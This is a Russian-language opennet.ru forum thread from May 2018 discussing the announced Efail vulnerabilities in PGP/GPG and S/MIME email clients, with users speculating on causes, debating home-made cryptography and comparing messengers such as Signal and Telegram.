forum.opennet.ru - "Критическая уязвимость в системах шифрования email на основе..." (134)

"Критическая уязвимость в системах шифрования email на основе..."

Форум Разговоры, обсуждение новостей
Вариант для распечатки		Пред. тема \| След. тема
Изначальное сообщение		[ Отслеживать ]

"Критическая уязвимость в системах шифрования email на основе..."	+/–
Сообщение от opennews (?), 14-Май-18, 11:03
Себастьян Шинцель (Sebastian Schinzel (https://sebastian-schinzel.de/)), авторитетный немецкий эксперт по компьютерной безопасности (один из авторов атаки DROWN (https://www.opennet.dev/opennews/art.shtml?num=43971)), предупредил (https://twitter.com/seecurity/status/995906576170053633) о выявлении критических уязвимостей в системах шифрования почтовой переписки, основанных на использовании PGP/GPG и S/MIME. Проблемы позволяют определить исходный открытый текст шифрованных писем, в том числе отправленных ранее зашифрованных писем. В настоящее время доступно лишь общее предупреждение, детали будут раскрыты 15 мая в 7 утра (UTC). Правозащитная организация Electronic Frontier Foundation (EFF) подтвердила (https://www.eff.org/deeplinks/2018/05/attention-pgp-users-ne...), что выявленные уязвимости относятся к разряду наиболее критических проблем и представляют серьёзных риск для пользователей шифрованных коммуникаций по электронной почте, особенно так как проблемы позволяют получить доступ к содержимому ранее отправленных зашифрованных сообщений. Судя по отрывочным сведениям, уязвимости напрямую не затрагивают PGP/GPG и S/MIME, а проявляются в конечных решениях на базе данных систем для почтовых клиентов из-за функций автоматической расшифровки. Утверждается, что надёжно работающих исправлений проблем пока не существует, поэтому пользователям PGP/GPG и S/MIME предлагается отключить в почтовых клиентах инструменты, поддерживающие автоматическую расшифровку сообщений. До формирования исправлений пользователям предлагается временно прекратить использование PGP для отправки и приёма писем и воспользоваться альтернативными каналами обмена шифрованными сообщениями, такими как Signal. Инструкции по отключению PGP/GPG и S/MIME подготовлены для Thunderbird с Enigmail (https://www.eff.org/deeplinks/2018/05/disabling-pgp-thunderb...), Apple Mail c GPGTools (https://www.eff.org/deeplinks/2018/05/disabling-pgp-apple-ma...) и Outlook c Gpg4win (https://www.eff.org/deeplinks/2018/05/disabling-pgp-outlook-...). URL: https://www.eff.org/deeplinks/2018/05/attention-pgp-users-ne... Новость: https://www.opennet.dev/opennews/art.shtml?num=48596
Ответить \| Правка \| Cообщить модератору

Оглавление

Зачем альтернативные каналы и signal Просто отключить автоматическую расшифровк, Онвоним (?), 11:03 , 14-Май-18, (1)

Таки да Тем более не понятна связь между автоматической расшифровкой и уязвимос, Онанимус (?), 11:08 , 14-Май-18, (5) +2

Я предполагаю, что уязвимость - это сохранение почтовым клиентом исходного незаш, Онвоним (?), 11:34 , 14-Май-18, (10)

IMAP Но в таком случае, уязвим трафик до IMAP сервера Дальше то письмо идет ши, Онанимус (?), 12:08 , 14-Май-18, (31)

А ведь неломаемое шифрование изобрели ещё при царе Горохе, одноразовые шифр-блок, лютый охохонюшка (?), 11:05 , 14-Май-18, (2) –10

и наградил всех счастливых потенциальных корреспондентов гигабайтами мусора , Кир (?), 11:07 , 14-Май-18, (4) +3
повод съездить друг к другу в гости, да, Креативные инноваторы (?), 11:08 , 14-Май-18, (6) +13
И как тебе эти блокноты помогут в ситуации, когда уязвимость не в самом механизм, angra (ok), 21:08 , 14-Май-18, (105) +2

Настало время создавать логотип, логотип сам себя не создаст , Креативные инноваторы (?), 11:06 , 14-Май-18, (3) +8

Дыкыть анонса-то не было ещё Это слухи-утечки, подогревающие интерес покупател, Andrey Mitrofanov (?), 11:36 , 14-Май-18, (11) –2

по итогам, новость выеденного яйца не стоит, Аноним (-), 11:37 , 14-Май-18, (13) +1
Проблемам присвоено имя Efail Я прочитал наверху, да IMNSHO лучше б дене, Andrey Mitrofanov (?), 11:40 , 14-Май-18, (15)
cTLD apple ещё не занята Эппл её хрен отсудит, так как можно сказать, что он, Аноним (-), 11:43 , 14-Май-18, (18) –1

И озаботиться рассово-половым составом команды разрабов , Вареник (?), 17:11 , 14-Май-18, (73)

https lists gnupg org pipermail gnupg-users 2018-May 060315 html, Аноним (-), 11:23 , 14-Май-18, (7) +3

Акхр HTML mails автоматическое рас шифровывание Расходимся, пацаны I , Andrey Mitrofanov (?), 12:08 , 14-Май-18, (32) +1

Кто-то ещё юзает unauthenticated encryption , Аноним (-), 21:03 , 14-Май-18, (103) –1

В очередной раз убеждаюсь хочешь сделать хорошо - сделай это сам Систему шифро, Онаним (?), 11:27 , 14-Май-18, (8) –10

люди годами не могут сделать, онаним запилит все за пару недель , sabakka (?), 11:32 , 14-Май-18, (9) +17

делается ставка на неуловимого Джо, Аноним (-), 11:36 , 14-Май-18, (12)

Первое правило криптографии - никогда не придумывай свою систему криптографии , pull request (?), 11:42 , 14-Май-18, (16) +15

забыл авторство АНБ указать , Ivan_83 (ok), 11:54 , 14-Май-18, (23)

Интересно служил ли Брюс Шнайер в АНБ , Аноним (-), 21:05 , 14-Май-18, (104)

Вроде бы нет Но как минимум пару своих же алгоритмов он более не рекомендует, а, Аноним (-), 21:13 , 14-Май-18, (108)

С этим правилом никакой криптографии бы не было , Аноним (-), 11:56 , 14-Май-18, (27) +3

Никакой фантазии у людей , Andrey Mitrofanov (?), 12:33 , 14-Май-18, (36)

Есть фантазии Самый безопасный метод общения между мной и В Пупкиным такой испол, konst55512 (?), 01:31 , 15-Май-18, (124) –1

лолушки вот и Профессионалы Криптоанализа пожаловали эти ваши гуаношифры как р, arisu (ok), 01:44 , 15-Май-18, (125)

Вы категоррически не правы imho Я говорил о том, что расшифровать tr abc bca , konst55512 (?), 03:20 , 15-Май-18, (127)

я не знаю, что такое 171 простые боты 187 , и какое они отношение имеют к шиф, arisu (ok), 10:27 , 15-Май-18, (128) +1
Криптография она как осетрина - бывает только первой свежести Второй сорт - так, Аноним (-), 00:33 , 16-Май-18, (131)

Итальянская забастовка делать все _абсолютно в точности_ написанным правилам , rshadow (ok), 13:10 , 14-Май-18, (45)
Именно поэтому правила криптографии появились уже после появления криптографии , Аноним (-), 15:07 , 14-Май-18, (66)

I If you think technology can solve your security problems, then you don t un, Andrey Mitrofanov (?), 12:23 , 14-Май-18, (34)
Если бы так думали все, то до сих пор бы шифровали решётками, как у Жюля Верна и, pkdr (ok), 12:48 , 14-Май-18, (39) –1
А вот использовать индустриальный стандарт одновременно со своей криптографией э, unxed (?), 13:26 , 14-Май-18, (48)

Все верно, ведь все-все дыры во всех-всех алгоритмах причем сразу со сплойтами , Аноним84701 (ok), 14:53 , 14-Май-18, (62) –1

анальные карты очень наверное страшны когда на кону тысячи биткоиновну что вы в , kk (??), 17:01 , 14-Май-18, (72) +3

Зато обосновывать отсутствие дыр в алгоритмах тем, что бывшие сотрудники АНБ не , Аноним84701 (ok), 17:13 , 14-Май-18, (74)
полагаю, что в спецслужбах как в мафии анальные карты за серьезный проступок , Anonimous (?), 21:31 , 14-Май-18, (113)

Второе правило крипографии - если ты не Риндейл , Аноним (-), 17:16 , 19-Июл-21, (135)

Боюсь, на бизнесс времени не останется А если все и получится, то придут вежл, Ан (??), 15:07 , 14-Май-18, (65) +1

99 пользователей имеют очень отдаленное представление о механизмах безопасности, Andrew (??), 11:37 , 14-Май-18, (14) –7

Ископаемое, согласен Но что на замену , Аноним (-), 11:43 , 14-Май-18, (17) +1

очевидный телеграм очевиден, Аноним (-), 11:52 , 14-Май-18, (20) –6

телеграм и сигнал пусть идут по дальше, такие проекты ущемляющие свободы пользов, Ivan_83 (ok), 11:56 , 14-Май-18, (25)

Сигнал да, но телеграм борется за свободы пользователей и их приватность , Аноним (-), 11:57 , 14-Май-18, (28) –10

Насмешил Дуруов и Ко борются за свои денюшки и делают пиар для таких как ты , Вы забыли заполнить поле Name (?), 12:12 , 14-Май-18, (33) +11

Насколько я понимаю, у них одно другому не мешает - но это пока противоречия нет, Crazy Alex (ok), 12:47 , 14-Май-18, (38) –1

Так себе утверждение Пиарили-то серетные чаты, которыми никто не пользуется А , rshadow (ok), 13:13 , 14-Май-18, (46) +1

Говори только за себя , Аноним (-), 13:23 , 14-Май-18, (47)

Наличие секретных чатов при доступности не секретных само по себе свидетельство , unxed (?), 13:33 , 14-Май-18, (50)

Эти ваши бетховены никем не признанные фантики , Аноним (-), 13:48 , 14-Май-18, (51)

Какая разница, пока их можно обменять на кем-то признанные фантики , unxed (?), 13:29 , 15-Май-18, (129)

Нормальное утверждение Получать прибыль с пользовательской базы не обязательно , Crazy Alex (ok), 17:28 , 14-Май-18, (76)

Морочить голову надо _отсутствием_ слежки, _гарантированным_ отсутствием на уров, Andrey Mitrofanov (?), 17:41 , 14-Май-18, (80) +1

Ещё неплохо заморочиться _гарантированным_ из,у беганием ,от угроз на уровне , Andrey Mitrofanov (?), 17:44 , 14-Май-18, (81)
Кому-то надо, а кому-то и нет Что за манера решать за других, что им нужно и ч, Crazy Alex (ok), 17:59 , 14-Май-18, (84)

Огрызок интенсивно пеарится, как и все американские сервисы Их цель - создать ви, Ivan_83 (ok), 14:25 , 14-Май-18, (58) +2

Кто там что им гарантирует - это уже фантазии пошли Не то, чтобы этого быть не , Crazy Alex (ok), 17:20 , 14-Май-18, (75)

Как маленький А госы ихние по твоему что маки и венду не покупают Это самое очев, Ivan_83 (ok), 18:23 , 14-Май-18, (91)

Любой централизованный месенгер никогда не даст никаких свобод, пользователь для, Ivan_83 (ok), 14:22 , 14-Май-18, (57) +3

Ну я вот не представляю, как можно сделать надёжный, удобный и не особо жручий P, Crazy Alex (ok), 17:37 , 14-Май-18, (79)

потому что не надо ничего такого делать для 171 простых людей 187 если чело, arisu (ok), 17:45 , 14-Май-18, (82)

Ну я ж даже примеры привёл с SSL и наркотой - оно вполне прилично защищает от пр, Crazy Alex (ok), 17:50 , 14-Май-18, (83)

для того, от чего 171 защищает 187 ssl 8212 он сильно переусложнён а мел, arisu (ok), 18:09 , 14-Май-18, (86)

Естественно Я бы тоже так сказал А вот тут ты не прав Я делал так, и продолжаю, Ordu (ok), 18:36 , 14-Май-18, (92) +1

Ух ты, тут как раз в соседней ветке freehck завалился в такой режим Из всех арг, Аноним (-), 21:19 , 14-Май-18, (109)
Моё наивысшее достижение -- я человека довёл Сдаётся мне, что тот человек в кор, Anonimous (?), 21:42 , 14-Май-18, (114)
Да какая мне разница, куда он там зрил, если он от увиденного зрелища регрессиро, Ordu (ok), 22:19 , 14-Май-18, (117)
это потому, что ты и есть дурак такие дела , arisu (ok), 21:51 , 14-Май-18, (116)
И чё Я и без хомячьих подсказок знаю, собственно, и не скрываю Ну, не кричу на, Ordu (ok), 22:22 , 14-Май-18, (118)
все хомяки, а я мамкин психоаналитик Регрессия, говорите , Анонним (?), 00:12 , 15-Май-18, (120)
Так это не я говорю -- это Фройд говорил Ты можешь заглянуть в википедию и убед, Ordu (ok), 00:44 , 15-Май-18, (121)
это ты ловко с темы спрыгнул на этом, пожалуй, и закончим , Anonimous (?), 01:03 , 15-Май-18, (123)
Парадокс в том что это пофиг Если некто демонстрирует уровень имбецила на публи, Аноним (-), 03:07 , 16-Май-18, (132)

Нет промежуточной позиции Поскольку оно привязано к мобиле - того кого надо быст, Ivan_83 (ok), 19:31 , 14-Май-18, (94) +1

Ну вот тебе и промежуточная позиция - для триангуляции и подобного надо заинтере, Crazy Alex (ok), 19:57 , 14-Май-18, (96) –1

для триангуляции и подобного надо заинтересовать власти это работает до тех пор, Anonimous (?), 00:50 , 15-Май-18, (122)

как будто днс, который использует емейлом, не является таковым Только почтовые , Аноним (-), 11:58 , 14-Май-18, (29)

Deeper, bro I https gnunet org gns https duckduckgo com q gnunet dns htt, Andrey Mitrofanov (?), 12:38 , 14-Май-18, (37)
шутки шутками, а whois 25 числа обещали прикрыть, бо gdpr compliance, Михрютка (ok), 21:00 , 14-Май-18, (102)

Ring, Tox, Аноним (-), 12:02 , 14-Май-18, (30)

Телеграм , Аноним (-), 11:53 , 14-Май-18, (21) –3

Кто бы объяснил на фига телеграм привязан к телефонному номеру , Аноним (-), 12:56 , 14-Май-18, (43) +1

чтобы монетизировать сервис, Аноним (-), 13:30 , 14-Май-18, (49) –1

Каким образом , Аноним (-), 14:03 , 14-Май-18, (55)

Кто бы объяснил на фига опеннет привязан к почтовому ящику , Аноним (-), 13:50 , 14-Май-18, (52) –1

Гениальное сравнение, молодец, Аноним (-), 14:55 , 14-Май-18, (63)

Ты считаешь есть разница , Аноним (-), 14:59 , 14-Май-18, (64) –1

Да Я могу создать сколько угодно почтовых ящиков И очень часто создаю под новы, Ordu (ok), 18:20 , 14-Май-18, (90)

Это ты плохо искал Есть такие Недорого и круто У некоторых даже есть демо-ном, Аноним (-), 03:11 , 16-Май-18, (133)

Hacke Nnews вообще-то прекрасно обходится без почты, Аноним (-), 15:18 , 14-Май-18, (67)

а ты, конечно, чтобы написать этот комментарий, был просто вынужден ввести свой , arisu (ok), 17:36 , 14-Май-18, (78)

Мы тебе про регистрацию, а ты про комментарий , Аноним (-), 18:14 , 14-Май-18, (88)
походу почтовый адрес моей учетки на опеннете не существует, как и домен это мн, Михрютка (ok), 21:09 , 14-Май-18, (106)

глупый анонимус не в курсе, что на опеннете email при регистрации нужен исключит, arisu (ok), 21:44 , 14-Май-18, (115)

коллега, если вы приучите простого пользователя, испорченного смартфонами, занос, Михрютка (ok), 21:22 , 14-Май-18, (111)

Кому нравится - пусть при регистрации указывает телефонный номер, но зачем же эт, Аноним (-), 02:11 , 15-Май-18, (126)

на киевстар пожалуйся они на каждой симке телефонный номер навязывают , Михрютка (ok), 23:40 , 15-Май-18, (130)

Телефонный номер в смс - весьма абстрактная штука Если так посмотреть что в нем, Аноним (-), 03:23 , 16-Май-18, (134)

ггг как вам мозги то промыли Телега от аськи и мыло агента отличается только в х, Ivan_83 (ok), 14:28 , 14-Май-18, (59) +1

жаббер с omemo, Вещества (?), 11:54 , 14-Май-18, (22) +1
DIME Ладара Левисона , Аноним (-), 11:56 , 14-Май-18, (24)
хипстерский телеграмчик А по делу Почта на бумаге - это 19 век если не раньше , 1 (??), 11:56 , 14-Май-18, (26)

не беда, сейчас эксперты опеннета разберут все остальные малоизученные области и, Нанобот (ok), 11:52 , 14-Май-18, (19) –1

Особенно глубока и хорошо проработана экспертиза заключений эксертов по эксперти, Andrey Mitrofanov (?), 12:32 , 14-Май-18, (35) +1

Мы нашли уязвимость, но мы вам её не покажем, не расскажем и вообще, о чём новос, Annoynymous (ok), 12:49 , 14-Май-18, (40)

О том, что у тебя есть время до завтра подумать и хоть как-то среагировать на гр, Ordu (ok), 13:01 , 14-Май-18, (44) +1

Все писатели шифрованных HTML-писем соберут чемоданы, бросят квартиру -ы , машин, Andrey Mitrofanov (?), 13:52 , 14-Май-18, (53)

Нет, там же написано, что судя по всему будет достаточно срочно сменить email-кл, Ordu (ok), 18:16 , 14-Май-18, (89)

Уже нетуhttps efail de , Аноним (-), 14:33 , 14-Май-18, (60)

Ждём посадок , Andrey Mitrofanov (?), 14:37 , 14-Май-18, (61)

На бутыль , Ураган (?), 15:24 , 14-Май-18, (68) –1

А какое шифрование используется в почте safe-mail net и tutanota , Аноним (-), 12:52 , 14-Май-18, (41) –2

Никакое , Аноним (-), 12:54 , 14-Май-18, (42) –1
Use Protonmail, Luke , Darth Vader (?), 18:03 , 14-Май-18, (85) +1

Они хохлам всё сливали Не вариант , Аноним (-), 18:10 , 14-Май-18, (87)

А где про это можно почитать Ссылкой поделитесь, пожалуйста , Анонимус2333 (?), 21:27 , 14-Май-18, (112)

тоже самое что и у протона, вроде - опенпгп на жс Учитывая что закрытые ключи э, Аноним (-), 19:31 , 14-Май-18, (93)

Интересно как это отразиться на каком-нибудь Mutt , Аноним (-), 13:54 , 14-Май-18, (54)

На mutt сам по себе - никак Проблемы будут только если для написания писем буде, alex53 (ok), 16:37 , 14-Май-18, (69)

И даже в этом случае в нормальном клиенте не страшно - ибо его html по умолчанию, КО (?), 23:21 , 14-Май-18, (119)

Пока вы тут комментите, уже подробности опубликовали https efail de , Аноним (-), 14:07 , 14-Май-18, (56)

с логотипом уже, кстати , annual slayer (?), 16:41 , 14-Май-18, (71)

Ну дык дырявые клиенты, дырявый HTML, а не сами GPG и GPG4win Ручками вставлять, Аноним (70), 16:38 , 14-Май-18, (70)

Думаешь в самом GPG нет дыр Верить в идеальность софта в 2018 , Аноним (-), 17:35 , 14-Май-18, (77) –2

пересылать конфиденциальную инфу в хтмл - ссзб, Аноним (-), 19:32 , 14-Май-18, (95)

Не пересылать в HTML не поможет Поможет не расшифровывать или же не рендерить , Аноним84701 (ok), 20:23 , 14-Май-18, (97)

поможет чудесный маленький фильтр, который html-мусор выкидывает вместе со всем, arisu (ok), 20:29 , 14-Май-18, (98)

Интересно, а в случае HTML не прокатит внаглую скриптом читать содержимое хтмылк, Аноним (-), 20:41 , 14-Май-18, (100) +1

зависит от криворукости авторов клиентов в принципе, все нормальные клиенты дол, arisu (ok), 20:55 , 14-Май-18, (101)
А смысл Принципиально расшифровка и leak делаются вот так CODE Content-Type t, Аноним84701 (ok), 21:10 , 14-Май-18, (107)

А, ну это еще не так страшно , Аноним (-), 20:37 , 14-Май-18, (99)

Сообщения [Сортировка по времени | RSS]

1. "Критическая уязвимость в системах шифрования email на основе..." +/–

Сообщение от Онвоним (?), 14-Май-18, 11:03

Зачем альтернативные каналы и signal? Просто отключить автоматическую расшифровку, и делать это руками.

Ответить | Правка | Наверх | Cообщить модератору

5. "Критическая уязвимость в системах шифрования email на основе..." +2 +/–

Сообщение от Онанимус (?), 14-Май-18, 11:08

Таки да! Тем более не понятна связь между автоматической расшифровкой и уязвимостью зашифровки.

Ответить | Правка | Наверх | Cообщить модератору

10. "Критическая уязвимость в системах шифрования email на основе..." +/–

Сообщение от Онвоним (?), 14-Май-18, 11:34

Я предполагаю, что уязвимость - это сохранение почтовым клиентом исходного незашифрованного сообщения перед отправкой в черновиках. Черновик в исходном виде может передаваться серверу. И если история переписки в черновиках хранятся на почтовом сервере - то можно восстанавливать оригиналы. Клиент может периодически сохранять черновик ещё не отправленного письма.
Наблюдал такое, но пока со связкой K-9 (с OpenKeychain). Но то Android.
Соответственно, шифруем сообщение, кладём armored-текст в письмо, и расшифровываем в обратном порядке при получении.

Ответить | Правка | Наверх | Cообщить модератору

31. "Критическая уязвимость в системах шифрования email на основе..." +/–

Сообщение от Онанимус (?), 14-Май-18, 12:08

> Я предполагаю, что уязвимость - это сохранение почтовым клиентом исходного незашифрованного сообщения перед отправкой в черновиках.
IMAP? Но в таком случае, уязвим трафик до IMAP сервера. Дальше то письмо идет шифрованное. А в анонсе говорится о глобальной уязвимости.

Ответить | Правка | Наверх | Cообщить модератору

2. "Критическая уязвимость в системах шифрования email на основе..." –10 +/–

Сообщение от лютый охохонюшка (?), 14-Май-18, 11:05

А ведь неломаемое шифрование изобрели ещё при царе Горохе, одноразовые шифр-блокноты называется. В наши времена дешевого стораджа вообще халявка, сгенерил 4ГБ рэндома и хватит на всю жизнь + на аудиоразговоры.

Ответить | Правка | Наверх | Cообщить модератору

4. "Критическая уязвимость в системах шифрования email на основе..." +3 +/–

Сообщение от Кир (?), 14-Май-18, 11:07

... и наградил всех счастливых потенциальных корреспондентов гигабайтами мусора ...

Ответить | Правка | Наверх | Cообщить модератору

6. "Критическая уязвимость в системах шифрования email на основе..." +13 +/–

Сообщение от Креативные инноваторы (?), 14-Май-18, 11:08

повод съездить друг к другу в гости, да

Ответить | Правка | К родителю #2 | Наверх | Cообщить модератору

105. "Критическая уязвимость в системах шифрования email на основе..." +2 +/–

Сообщение от angra (ok), 14-Май-18, 21:08

И как тебе эти блокноты помогут в ситуации, когда уязвимость не в самом механизме методе шифрования или ключе, а в взаимодействии клиентского софта с этим механизмом? Или ты новость не читал?

Ответить | Правка | К родителю #2 | Наверх | Cообщить модератору

3. "Критическая уязвимость в системах шифрования email на основе..." +8 +/–

Сообщение от Креативные инноваторы (?), 14-Май-18, 11:06

Настало время создавать логотип, логотип сам себя не создаст.

Ответить | Правка | Наверх | Cообщить модератору

11. "Критическая уязвимость в системах шифрования email на основе..." –2 +/–

Сообщение от Andrey Mitrofanov (?), 14-Май-18, 11:36

> Настало время создавать логотип, логотип сам себя не создаст.
Дыкыть анонса-то не было ещё.  Это слухи-утечки, подогревающие интерес покупателей к.  До 15-го заинтересованные микрософты подгонят ребятам денежек и на логотип, и на погоняло креатифное, и на титульный сайт в зоне .com (.cypher? .bug? .info?  .app!??  --  где по-взрослому-то? чтоб подороже!).
Ща, погодь, всё будет.
+++!"простые ошибки в СПО" & "получают имена собственные, эмблемы и пр." http://www.opennet.dev/openforum/vsluhforumID3/105391.html#15

Ответить | Правка | Наверх | Cообщить модератору

13. "Критическая уязвимость в системах шифрования email на основе..." +1 +/–

Сообщение от Аноним (-), 14-Май-18, 11:37

по итогам, новость выеденного яйца не стоит

Ответить | Правка | Наверх | Cообщить модератору

15. "Критическая уязвимость в системах шифрования email на основе..." +/–

Сообщение от Andrey Mitrofanov (?), 14-Май-18, 11:40

> и на погоняло креатифное,
" Проблемам присвоено имя Efail. "
Я прочитал наверху, да.  //IMNSHO лучше б денег подождали -- чего покреативнее приду ^W купили б.

Ответить | Правка | К родителю #11 | Наверх | Cообщить модератору

18. "Критическая уязвимость в системах шифрования email на основе..." –1 +/–

Сообщение от Аноним (-), 14-Май-18, 11:43

cTLD .apple ещё не занята ...
Эппл её хрен отсудит, так как можно сказать, что она для продавцов и культиваторов яблоневых саженцев, но зато они могут её заблочить в гейфонах.

Ответить | Правка | К родителю #11 | Наверх | Cообщить модератору

73. "Критическая уязвимость в системах шифрования email на основе..." +/–

Сообщение от Вареник (?), 14-Май-18, 17:11

И озаботиться рассово-половым составом команды разрабов.

Ответить | Правка | К родителю #3 | Наверх | Cообщить модератору

7. "Критическая уязвимость в системах шифрования email на основе..." +3 +/–

Сообщение от Аноним (-), 14-Май-18, 11:23

https://lists.gnupg.org/pipermail/gnupg-users/2018-May/06031...

Ответить | Правка | Наверх | Cообщить модератору

32. "Уффффф!" +1 +/–

Сообщение от Andrey Mitrofanov (?), 14-Май-18, 12:08

> https://lists.gnupg.org/pipermail/gnupg-users/2018-May/06031...
Акхр... "HTML mails" + "автоматическое [рас]шифровывание".
Расходимся, пацаны!
--- Сегодня в нашем сикьюритэ циркусе:
?Те, кто меняют безопасность на удобство, не получат ни того ни другого.?
?Удобная "безопасность" небезопасна.  Неудобная тоже.  Проверенная -- не факт.  Проверенная лично -- безопасна, может быть.  Проверенная лично, ежедневно и ${нужное-неизвестное вписать!} -- весьма вероятно, но недолго.?

Ответить | Правка | Наверх | Cообщить модератору

103. "Уффффф!" –1 +/–

Сообщение от Аноним (-), 14-Май-18, 21:03

>Use authenticated encryption.
Кто-то ещё юзает unauthenticated encryption?

Ответить | Правка | Наверх | Cообщить модератору

8. "Критическая уязвимость в системах шифрования email на основе..." –10 +/–

Сообщение от Онаним (?), 14-Май-18, 11:27

В очередной раз убеждаюсь: хочешь сделать хорошо - сделай это сам. Систему шифрования для своего бизнеса - изучи вопрос, и пиши сам.

Ответить | Правка | Наверх | Cообщить модератору

9. "Критическая уязвимость в системах шифрования email на основе..." +17 +/–

Сообщение от sabakka (?), 14-Май-18, 11:32

люди годами не могут сделать, онаним запилит все за пару недель.

Ответить | Правка | Наверх | Cообщить модератору

12. "Критическая уязвимость в системах шифрования email на основе..." +/–

Сообщение от Аноним (-), 14-Май-18, 11:36

делается ставка на неуловимого Джо

Ответить | Правка | Наверх | Cообщить модератору

16. "Критическая уязвимость в системах шифрования email на основе..." +15 +/–

Сообщение от pull request (?), 14-Май-18, 11:42

Первое правило криптографии - никогда не придумывай свою систему криптографии.

Ответить | Правка | К родителю #8 | Наверх | Cообщить модератору

23. "Критическая уязвимость в системах шифрования email на основе..." +/–

Сообщение от Ivan_83 (ok), 14-Май-18, 11:54

забыл авторство АНБ указать :)

Ответить | Правка | Наверх | Cообщить модератору

104. "Критическая уязвимость в системах шифрования email на основе..." +/–

Сообщение от Аноним (-), 14-Май-18, 21:05

> забыл авторство АНБ указать :)
Интересно служил ли Брюс Шнайер в АНБ?

Ответить | Правка | Наверх | Cообщить модератору

108. "Критическая уязвимость в системах шифрования email на основе..." +/–

Сообщение от Аноним (-), 14-Май-18, 21:13

> Интересно служил ли Брюс Шнайер в АНБ?
Вроде бы нет. Но как минимум пару своих же алгоритмов он более не рекомендует, а еще один советует в основном как основу алгоритма хэширования, а не крипто в чистом виде. Но он свои алгоритмы честно оценивает и знает наихучшие атаки, фигли.

Ответить | Правка | Наверх | Cообщить модератору

27. "Критическая уязвимость в системах шифрования email на основе..." +3 +/–

Сообщение от Аноним (-), 14-Май-18, 11:56

С этим правилом никакой криптографии бы не было.

Ответить | Правка | К родителю #16 | Наверх | Cообщить модератору

36. "Критическая уязвимость в системах шифрования email на основе..." +/–

Сообщение от Andrey Mitrofanov (?), 14-Май-18, 12:33

>никакой криптографии бы не
Никакой фантазии у людей.

Ответить | Правка | Наверх | Cообщить модератору

124. "Критическая уязвимость в системах шифрования email на основе..." –1 +/–

Сообщение от konst55512 (?), 15-Май-18, 01:31

Есть фантазии.
Самый безопасный метод общения между мной и В.Пупкиным такой:
используй собственный вариант гав-но-шифровки, типа: tr/abc/cba/.
Это реально работающий метод. Не один бот не расшифрует.
А вот если всяким там ЦРУ/АНБ/ФСБ захочется мою переписку расшифровать, они не станут задействоать НИИ и проч., а используют безотказный паяльник. Дешевле и быстрее.
Именно поэтому не вижу смысла с создании супер-алгоритмов шифрования.

Ответить | Правка | Наверх | Cообщить модератору

125. "Критическая уязвимость в системах шифрования email на..." +/–

Сообщение от arisu (ok), 15-Май-18, 01:44

> типа: tr/abc/cba/.
> Это реально работающий метод. Не один бот не расшифрует.
лолушки. вот и Профессионалы Криптоанализа пожаловали. эти ваши гуаношифры как раз и ломаются *автоматически*. и нет, волшебные слова «я знаю про фестеля и сделал свой с-бокс!» тоже не спасут. всё ещё автоматически.

Ответить | Правка | Наверх | Cообщить модератору

127. "Критическая уязвимость в системах шифрования email на..." +/–

Сообщение от konst55512 (?), 15-Май-18, 03:20

>> типа: tr/abc/cba/.
>> Это реально работающий метод. Не один бот не расшифрует.
> лолушки. вот и Профессионалы Криптоанализа пожаловали. эти ваши гуаношифры как раз и
> ломаются *автоматически*. и нет, волшебные слова «я знаю про фестеля и
> сделал свой с-бокс!» тоже не спасут. всё ещё автоматически.
Вы категоррически не правы (imho).
Я говорил о том, что расшифровать tr/abc/bca/ способен только И ТОЛЬКО тот, кто этого очень хочет. А простые боты используют стандартные способы расшифровки (известные уязвимости).
А 2-е мое утверждение, которое не подлежит оспору, - это то, что если кому-то очень-очень захочется узнать, что же я написал Василию Пупкину сумеет сделать это гораздо менее затратно, чем догадавшись сделать tr/bca/abc/.

Ответить | Правка | Наверх | Cообщить модератору

128. "Критическая уязвимость в системах шифрования email на..." +1 +/–

Сообщение от arisu (ok), 15-Май-18, 10:27

я не знаю, что такое «простые боты», и какое они отношение имеют к шифрованию. впрочем, защищаться от воображаемых атакующих — дело приятное и даже иногда прибыльное.

Ответить | Правка | Наверх | Cообщить модератору

131. "Критическая уязвимость в системах шифрования email на..." +/–

Сообщение от Аноним (-), 16-Май-18, 00:33

> Я говорил о том, что расшифровать tr/abc/bca/ способен только И ТОЛЬКО тот,
> кто этого очень хочет. А простые боты используют стандартные способы расшифровки
Криптография она как осетрина - бывает только первой свежести. Второй сорт - таки уже тухлятина.
> (известные уязвимости).
В случае известных 0day не поможет даже лучшая криптография. Информационная безопасность штука сложная, комплексная.

Ответить | Правка | К родителю #127 | Наверх | Cообщить модератору

45. "Критическая уязвимость в системах шифрования email на основе..." +/–

Сообщение от rshadow (ok), 14-Май-18, 13:10

Итальянская забастовка: делать все _абсолютно в точности_ написанным правилам.

Ответить | Правка | К родителю #27 | Наверх | Cообщить модератору

66. "Критическая уязвимость в системах шифрования email на основе..." +/–

Сообщение от Аноним (-), 14-Май-18, 15:07

Именно поэтому правила криптографии появились уже после появления криптографии.

Ответить | Правка | К родителю #27 | Наверх | Cообщить модератору

34. "Критическая уязвимость в системах шифрования email на основе..." +/–

Сообщение от Andrey Mitrofanov (?), 14-Май-18, 12:23

> Первое правило криптографии - никогда не придумывай свою систему криптографии.
" If you think technology can solve your security problems, then you don't understand the problems and you don't understand the technology. " --Bruce Schneier
" Anyone, from the most clueless amateur to the best cryptographer, can create an algorithm that he himself can't break. " --Bruce Schneier
" The user's going to pick dancing pigs over security every time. " --Bruce Schneier
//https://duckduckgo.com/?q=Bruce+Schneier+cryptograpy+securit...

Ответить | Правка | К родителю #16 | Наверх | Cообщить модератору

39. "Критическая уязвимость в системах шифрования email на основе..." –1 +/–

Сообщение от pkdr (ok), 14-Май-18, 12:48

Если бы так думали все, то до сих пор бы шифровали решётками, как у Жюля Верна или человечками, как у Конан Дойла.

Ответить | Правка | К родителю #16 | Наверх | Cообщить модератору

48. "Критическая уязвимость в системах шифрования email на основе..." +/–

Сообщение от unxed (?), 14-Май-18, 13:26

А вот использовать индустриальный стандарт одновременно со своей криптографией это правило не запрещает. Или запрещает?
Больше бдительности! Недостаточно паранойи!
А вообще страшилки про дыры АНБ в алгоритмах как-то не сходятся с тем, что биткойны на тех же алгоритмах вполне надёжно крутятся, и никакие бывшие сотрудники АНБ на дырах не обогащаются. Или обогащаются, потихоньку списывая с кошельков, по которым годами не было транзакций? ;-)

Ответить | Правка | К родителю #16 | Наверх | Cообщить модератору

62. "Критическая уязвимость в системах шифрования email на основе..." –1 +/–

Сообщение от Аноним84701 (ok), 14-Май-18, 14:53

> А вообще страшилки про дыры АНБ в алгоритмах как-то не сходятся с тем, что биткойны на тех же алгоритмах вполне надёжно крутятся, и никакие бывшие сотрудники АНБ на дырах не обогащаются.
